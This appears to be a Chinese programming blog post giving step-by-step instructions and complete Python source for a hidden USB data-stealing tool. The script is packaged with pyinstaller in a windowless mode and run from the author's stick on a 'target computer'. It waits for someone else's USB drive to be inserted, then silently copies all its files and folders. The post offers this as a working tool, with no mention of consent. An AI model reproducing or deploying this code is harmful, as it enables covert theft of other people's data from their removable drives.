Python 获取插入电脑的usb上所有资源
使用方法及注意事项
注意事项:
- 首先用 pyinstaller 对源文件进行打包至您的usb
- pyinstaller -F -w 源文件
- -w 表示运行时不弹出窗口(隐藏)
使用方法:
- 修改源文件的部分参数
- 用 pyinstaller 对源文件进行打包至您的usb
- 在您的usb上创建一个文件夹并将您的usb上所有内容拖进去(新建文件夹名要在源文件中修改,便于判断)
- 将您的usb提前插入目标电脑(windows有效)
- 在您的usb中启动pyinstaller 打包的源文件即可
原理:
- 原理非常简单,扫描硬盘,检测是否有新的usb插入,如果有,获取相应的资源
我定义的函数(方法)相应解释:
-
obtain_usb(): # 获取双方usb盘符(拷贝和被拷贝的对象)
-
judge() # 判断文件和文件夹
- copy_rest_file() # 复制文件
- copy_folder() # 复制文件夹
- establish(): # 为了防止出现异常,在复制文件时先创建一个空目录和空文件
接下来是源代码:
需要修改的地方:
- 第7行 类属性 my_folder 为您的文件夹名字(在双引号内替换成您的文件夹名即可)
- 第 106行 改变复制模式(可选)
- 第107行 变得友好一些(......)
1 import os 2 import time 3 import shutil 4 import psutil 5 6 class Block_rose(object): 7 my_folder = "打倒PDD" 8 9 #目标usb 盘符 10 usb_DC = "" 11 12 # 将拷贝的文件放入的目录 13 data_bank = "" 14 15 # 目标文件 16 file = [] 17 18 #目标文件夹 19 folder = [] 20 21 def __init__(self): 22 data_count = len(psutil.disk_partitions()) 23 while True: 24 time.sleep(2) 25 t = len(psutil.disk_partitions()) 26 if t == data_count + 1: 27 break 28 29 def obtain_usb(self): 30 temp1 = list(psutil.disk_partitions()[-1])[0] + "\\" 31 temp2 = list(psutil.disk_partitions()[-2])[0] + "\\" 32 if os.path.exists(temp1 + self.my_folder): 33 self.data_bank = temp1 34 self.usb_DC = temp2 35 else: 36 self.data_bank = temp2 37 self.usb_DC = temp1 38 39 def copy_file(self): 40 self.copy_rest_file() 41 self.copy_folder() 42 43 def judge(self): 44 file_list = os.listdir(self.usb_DC) 45 for iters in file_list: 46 if "." in iters: 47 self.file.append(iters) 48 else: 49 self.folder.append(iters) 50 51 def copy_folder(self): 52 for iters in self.folder: 53 shutil.copytree(self.usb_DC + iters,self.data_bank + iters) 54 55 def copy_rest_file(self): 56 for iters in self.file: 57 shutil.copy(self.usb_DC + iters, self.data_bank + iters) 58 59 def establish(self): 60 try: 61 os.mkdir(self.usb_DC + "text") 62 except: 63 pass 64 f = open(self.usb_DC + "电子应用.txt","w") 65 f.close() 66 67 # 拷贝文件和文件夹 68 def main(self): 69 # 1 获取双方usb盘符(拷贝和被拷贝的对象) 70 self.obtain_usb() 71 self.establish() 72 73 # 2 判断文件和文件夹 74 self.judge() 75 76 # 3 开始拷贝文件和文件夹 77 self.copy_file() 78 79 # 只拷贝文件夹 80 def main_folder(self): 81 # 1 获取双方usb盘符(拷贝和被拷贝的对象) 82 self.obtain_usb() 83 self.establish() 84 85 # 2 判断文件和文件夹 86 self.judge() 87 88 # 3 开始拷贝文件夹 89 self.copy_folder() 90 91 # 只拷贝文件 92 def main_file(self): 93 # 1 获取双方usb盘符(拷贝和被拷贝的对象) 94 self.obtain_usb() 95 self.establish() 96 97 # 2 判断文件和文件夹 98 self.judge() 99 100 # 3 开始拷贝文件 101 self.copy_rest_file() 102 103 104 if __name__ == '__main__': 105 block_rose = Block_rose() 106 cmd = "file and folder" 107 # cmd = input("Do you want to copy files or folders? ") 108 if cmd == "file": 109 block_rose.main_file() 110 elif cmd == "folder": 111 block_rose.main_folder() 112 elif cmd == "file and folder": 113 block_rose.main() 114 else: 115 print("The instruction error you entered is wrong! ")